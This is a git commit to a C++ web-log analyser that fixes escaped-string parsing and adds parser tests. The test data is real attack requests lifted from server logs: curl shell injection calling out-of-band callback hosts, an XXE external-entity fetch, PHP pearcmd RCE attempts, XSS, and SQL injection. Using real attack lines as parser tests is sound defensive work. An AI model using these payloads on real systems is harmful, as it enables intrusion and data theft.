diff options
| author | Dan Goodliffe <dan.goodliffe@octal.co.uk> | 2026-07-02 15:46:25 +0100 |
|---|---|---|
| committer | Dan Goodliffe <dan.goodliffe@octal.co.uk> | 2026-07-02 15:46:25 +0100 |
| commit | fbb5038105e26e07d34184544ea4c70892acef92 (patch) | |
| tree | 1bd79bc9280b65116dd714f202718e9a5e8d091b | |
| parent | 3cc7a1b1c0bf84ffcb149741c9ca2c60d9f00068 (diff) | |
| download | webstat-fbb5038105e26e07d34184544ea4c70892acef92.tar.bz2 webstat-fbb5038105e26e07d34184544ea4c70892acef92.tar.xz webstat-fbb5038105e26e07d34184544ea4c70892acef92.zip | |
Fixes to parseEscapedString
Fix the warnings picked up by the latest clang-tidy.
Add test cases lifted from the bad_lines log.
Add missing support for \b in escaping.
| -rw-r--r-- | src/logTypes.cpp | 31 | ||||
| -rw-r--r-- | test/Jamfile.jam | 2 | ||||
| -rw-r--r-- | test/fixtures/badHex.exp.txt | 1 | ||||
| -rw-r--r-- | test/fixtures/badHex.in.txt | 1 | ||||
| -rw-r--r-- | test/test-ingest.cpp | 47 |
5 files changed, 67 insertions, 15 deletions
diff --git a/src/logTypes.cpp b/src/logTypes.cpp index d8b3a7e..25fc193 100644 --- a/src/logTypes.cpp +++ b/src/logTypes.cpp @@ -3,18 +3,19 @@ namespace { namespace { constexpr auto BS_MAP = []() { - std::array<char, 128> map {}; - map['f'] = '\f'; - map['n'] = '\n'; - map['r'] = '\r'; - map['t'] = '\t'; - map['v'] = '\v'; - map['"'] = '"'; - map['\\'] = '\\'; + std::array<char, 'v' + 1> map {}; + map.at('b') = '\b'; + map.at('f') = '\f'; + map.at('n') = '\n'; + map.at('r') = '\r'; + map.at('t') = '\t'; + map.at('v') = '\v'; + map.at('"') = '"'; + map.at('\\') = '\\'; return map; }(); - scn::scan_expected<typename scn::ContextType::iterator> + scn::scan_expected<scn::ContextType::iterator> parseEscapedString(std::string & value, scn::ContextType & ctx, const auto & start) { ctx.advance_to(start->begin()); @@ -30,8 +31,8 @@ namespace { value.append(1, static_cast<char>(hex->value())); ctx.advance_to(hex->begin()); } - else if (auto escaped = scn::scan<std::string>(ctx.range(), R"ESC(\{:.1[fnrtv"\]})ESC")) { - value.append(1, BS_MAP[static_cast<unsigned char>(escaped->value().front())]); + else if (auto escaped = scn::scan<std::string>(ctx.range(), R"ESC(\{:.1[bfnrtv"\]})ESC")) { + value.append(1, BS_MAP.at(static_cast<unsigned char>(escaped->value().front()))); ctx.advance_to(escaped->begin()); } else { @@ -44,7 +45,7 @@ namespace { } namespace scn { - scan_expected<typename ContextType::iterator> + scan_expected<ContextType::iterator> scanner<WebStat::QuotedString>::scan(WebStat::QuotedString & value, ContextType & ctx) { if (auto empty = scn::scan<>(ctx.range(), R"("")")) { @@ -63,7 +64,7 @@ namespace scn { return unexpected(simple.error()); } - scan_expected<typename ContextType::iterator> + scan_expected<ContextType::iterator> scanner<WebStat::QueryString>::scan(WebStat::QueryString & value, ContextType & ctx) { if (auto null = scn::scan<>(ctx.range(), R"("")")) { @@ -83,13 +84,13 @@ namespace scn { return unexpected(empty.error()); } - scan_expected<typename ContextType::iterator> + scan_expected<ContextType::iterator> scanner<WebStat::CLFString>::scan(WebStat::CLFString & value, ContextType & ctx) { if (auto null = scn::scan<>(ctx.range(), R"("-")")) { return null->begin(); } - return scn::scanner<WebStat::QuotedString> {}.scan(value.emplace(), ctx); + return scn::scanner<WebStat::QuotedString>::scan(value.emplace(), ctx); } } diff --git a/test/Jamfile.jam b/test/Jamfile.jam index 98c0d9a..b8d4a6e 100644 --- a/test/Jamfile.jam +++ b/test/Jamfile.jam @@ -34,6 +34,8 @@ run test-ingest.cpp : -- : ../src/schema.sql : + <dependency>fixtures/badHex.in.txt + <dependency>fixtures/badHex.exp.txt <define>BOOST_TEST_DYN_LINK <library>testing-util <library>..//dbpp-postgresql diff --git a/test/fixtures/badHex.exp.txt b/test/fixtures/badHex.exp.txt new file mode 100644 index 0000000..fe881c9 --- /dev/null +++ b/test/fixtures/badHex.exp.txt @@ -0,0 +1 @@ +/׿ؿؿd¸;{curl,http:/d68kln4h7ttk42oulg6gs1q8cp6k5obp1.oast.site+-H+'User-Agent:+eUCxcw'};׿ؿؿd¸;{curl,http:/d68kln4h7ttk42oulg6gwee1i13nkzmsm.oast.site+-H+'User-Agent:+eUCxcw'};
\ No newline at end of file diff --git a/test/fixtures/badHex.in.txt b/test/fixtures/badHex.in.txt new file mode 100644 index 0000000..57fecba --- /dev/null +++ b/test/fixtures/badHex.in.txt @@ -0,0 +1 @@ +"/\x04\xd7\x7f\xbf\x18\xd8\x7f\xbf\x18\xd8\x7f\xbfd\xb8\x06\b;{curl,http:/d68kln4h7ttk42oulg6gs1q8cp6k5obp1.oast.site+-H+'User-Agent:+eUCxcw'};\x04\xd7\x7f\xbf\x18\xd8\x7f\xbf\x18\xd8\x7f\xbfd\xb8\x06\b;{curl,http:/d68kln4h7ttk42oulg6gwee1i13nkzmsm.oast.site+-H+'User-Agent:+eUCxcw'};" diff --git a/test/test-ingest.cpp b/test/test-ingest.cpp index 9860f08..7aa099e 100644 --- a/test/test-ingest.cpp +++ b/test/test-ingest.cpp @@ -104,6 +104,17 @@ namespace DB { BOOST_TEST_DONT_PRINT_LOG_VALUE(Ingestor::Stats); +const std::string badHexIn { +#embed "fixtures/badHex.in.txt" +}; +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wnarrowing" +#pragma GCC diagnostic ignored "-Wconversion" +const WebStat::QuotedString badHexExp { +#embed "fixtures/badHex.exp.txt" +}; +#pragma GCC diagnostic pop + BOOST_DATA_TEST_CASE(QuotedStringsGood, boost::unit_test::data::make<WebStat::ParseData<WebStat::QuotedString>>({ {R"("")", ""}, @@ -116,6 +127,9 @@ BOOST_DATA_TEST_CASE(QuotedStringsGood, {R"("hex\t\x41")", "hex\tA"}, {R"("/packages/dev-php/pecl-uploadprogress(),')\"((,,")", R"LOG(/packages/dev-php/pecl-uploadprogress(),')"((,,)LOG"}, + {R"("/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/")", + R"(/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/)"}, + {badHexIn, badHexExp}, }), input, expected) { @@ -143,6 +157,39 @@ BOOST_DATA_TEST_CASE(QueryStringsGood, {R"("?something")", "something"}, {R"("?some=thing")", "some=thing"}, {R"("?some=thing&other=thing")", "some=thing&other=thing"}, + {R"("?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php")", + R"(lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5("hi"));?>+/tmp/index1.php)"}, + {R"("?device=aaaaa:a%27\";user|s.\"1337\";")", R"(device=aaaaa:a%27";user|s."1337";)"}, + {R"("?destpage=\"<h1xxx\"><script>alert(document.domain)</script>&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError")", + R"(destpage="<h1xxx"><script>alert(document.domain)</script>&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError)"}, + {R"("?extension=menu&view=menu&parent=\"%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),md5(999999999)),NULL,NULL,NULL,NULL,NULL--%20aa")", + R"(extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),md5(999999999)),NULL,NULL,NULL,NULL,NULL--%20aa)"}, + {R"("?h=gentoobrowse-2.0.0_beta7&id=\"><script%20>alert(String.fromCharCode(88,83,83))</script>")", + R"(h=gentoobrowse-2.0.0_beta7&id="><script%20>alert(String.fromCharCode(88,83,83))</script>)"}, + {R"("?h=\"><script%20>alert(String.fromCharCode(88,83,83))</script>&id=d3465d0d00edd302c9d6fc7672a9405921a6a7db")", + R"(h="><script%20>alert(String.fromCharCode(88,83,83))</script>&id=d3465d0d00edd302c9d6fc7672a9405921a6a7db)"}, + {R"("?pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/complexassetmaker&cs_imagedir=qqq\"><script>alert(document.domain)</script>")", + R"(pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/complexassetmaker&cs_imagedir=qqq"><script>alert(document.domain)</script>)"}, + {R"("?p=1&xsg-provider=data://text/html,<?php%20echo%20md5(\"CVE-2022-0346\");%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp")", + R"(p=1&xsg-provider=data://text/html,<?php%20echo%20md5("CVE-2022-0346");%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp)"}, + {R"("?action=likebtn_prx&likebtn_q=aHR0cDovL2xpa2VidG4uY29tLm9hc3QubWU=\"")", + R"(action=likebtn_prx&likebtn_q=aHR0cDovL2xpa2VidG4uY29tLm9hc3QubWU=")"}, + {R"("?xml=<%3fxml+version%3d\"1.0\"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+\"http%3a//d68kbl4h7ttk5ft3kh10e3yhnbxkdoni3.oast.live/xxe.xml\">%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123")", + R"(xml=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//d68kbl4h7ttk5ft3kh10e3yhnbxkdoni3.oast.live/xxe.xml">%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123)"}, + {R"("?jvar_page_title=<style><j:jelly%20xmlns:j=\"jelly\"%20xmlns:g=%27glide%27><g:evaluate>gs.addErrorMessage(1337*1337);</g:evaluate></j:jelly></style>")", + R"(jvar_page_title=<style><j:jelly%20xmlns:j="jelly"%20xmlns:g=%27glide%27><g:evaluate>gs.addErrorMessage(1337*1337);</g:evaluate></j:jelly></style>)"}, + {R"("?h=gentoobrowse-api-0.11.2.1&id=\"><script%20>alert(String.fromCharCode(88,83,83))</script>")", + R"(h=gentoobrowse-api-0.11.2.1&id="><script%20>alert(String.fromCharCode(88,83,83))</script>)"}, + {R"("?opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts=\"%27;%0Aalert(document.domain);//%0a%27")", + R"(opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts="%27;%0Aalert(document.domain);//%0a%27)"}, + {R"("?wpapp_shortcode=\"%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&wpappninja_simul4=1")", + R"(wpapp_shortcode="%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&wpappninja_simul4=1)"}, + {R"("?post_type=sc_order&order_type=orders&format_err=1\"></script><script>alert(document.domain)</script><script>")", + R"(post_type=sc_order&order_type=orders&format_err=1"></script><script>alert(document.domain)</script><script>)"}, + {R"("?page=ph-settings&ph_message=\"><script>alert(document.domain)</script>")", + R"(page=ph-settings&ph_message="><script>alert(document.domain)</script>)"}, + {R"("?entryPoint=responseEntryPoint&event=1&delegate=a<\"+UNION+SELECT+SLEEP(6);--+-&type=c&response=accept")", + R"(entryPoint=responseEntryPoint&event=1&delegate=a<"+UNION+SELECT+SLEEP(6);--+-&type=c&response=accept)"}, }), input, expected) { |
